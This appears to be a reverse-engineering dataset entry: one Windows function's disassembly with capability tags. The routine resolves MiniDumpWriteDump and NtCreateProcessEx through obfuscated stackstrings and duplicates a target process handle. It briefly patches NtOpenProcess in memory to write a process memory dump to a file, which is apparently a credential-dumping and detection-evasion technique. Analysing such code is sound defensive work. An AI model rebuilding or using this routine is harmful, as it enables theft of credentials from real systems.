Function at 0x140002940
Capabilities:
Allocate or change rwx memory
Check for protected handle exception
Contain obfuscated stackstrings
Delete file
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x140023710]
xor r15d, r15d
movdqu xmmword [rbp - 0x38], xmm0
mov esi, ecx
mov dword [rsp + 0x54], ecx
movdqa xmm0, xmmword [str.NtCreateProcessEMiniDumpWriteDum_]
lea rcx, [rbp - 0x58]
movdqu xmmword [rbp - 0x20], xmm0
mov r14d, r8d
mov dword [rsp + 0x50], r8d
mov r13, rdx
mov dword [rbp - 0x58], 0x620064
mov dword [rbp - 0x54], 0x630067
mov edi, r15d
mov dword [rbp - 0x50], 0x72006f
mov dword [rbp - 0x4c], 0x2e0065
mov dword [rbp - 0x48], 0x6c0064
mov dword [rbp - 0x44], 0x6c
mov word [rbp - 0x40], r15w
mov dword [rbp - 0x70], 0x74006e
mov dword [rbp - 0x6c], 0x6c0064
mov dword [rbp - 0x68], 0x2e006c
mov dword [rbp - 0x64], 0x6c0064
mov dword [rbp - 0x60], 0x6c
mov word [rbp - 0x5c], r15w
mov word [rbp - 0x28], 0x70
mov word [rbp - 0x10], 0x78
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
test r14d, r14d
je 0x140002a4f
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x140], r12
mov ebx, 4
movaps xmmword [rsp + 0x100], xmm6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
cmp eax, esi
jne 0x140002c75
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x68], rax
mov rsi, rax
test r14d, r14d
je 0x140002b17
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
lea r9, [rsp + 0x70]
mov r8, rax
mov dword [rsp + 0x28], r15d
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov r9, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov byte [rsp + 0x40], 0
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov edx, 0x410
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call rdi
test eax, eax
jne 0x140002cca
mov r12, qword [rsp + 0x78]
jmp 0x140002b1a
mov r12, rbx
mov edx, 2
mov rcx, r12
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x80]
mov edx, 0xb
mov r8d, 0x40
mov rcx, rax
mov rdi, rax
movsd xmm6, qword [rax]
movzx r14d, word [rax + 8]
movzx r15d, byte [rax + 0xa]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov word [rdi], 0xc748
lea r9, [rbp - 0x78]
mov byte [rdi + 2], 1
movzx eax, r12w
mov byte [rdi + 3], r12b
mov edx, 0xb
shr ax, 8
mov rcx, rdi
mov byte [rdi + 4], al
mov dword [rdi + 5], 0x31480000
mov word [rdi + 9], 0xc3c0
mov r8d, dword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r9d, 2
mov r8, rsi
mov edx, eax
mov rcx, r12
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [rsp + 0x60]
lea rcx, str.ntdll.dll
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x7c]
mov edx, 0xb
mov rcx, rax
mov r8d, 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd qword [rdi], xmm6
lea r9, [rbp - 0x74]
mov word [rdi + 8], r14w
mov edx, 0xb
mov byte [rdi + 0xa], r15b
mov rcx, rdi
mov r8d, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov edx, 2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x140002c92
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r14d, dword [rsp + 0x50]
xor r15d, r15d
mov esi, dword [rsp + 0x54]
jmp 0x140002c7e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
cmp rbx, 0x18
jg 0x140002c92
mov rdi, qword [rsp + 0x58]
jmp 0x140002a64
movaps xmm6, xmmword [rsp + 0x100]
mov r12, qword [rsp + 0x140]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002ec0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
mov edx, eax
lea rcx, str.NtCreateProcessEx_failed_with_ntstatus_0x_08x
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3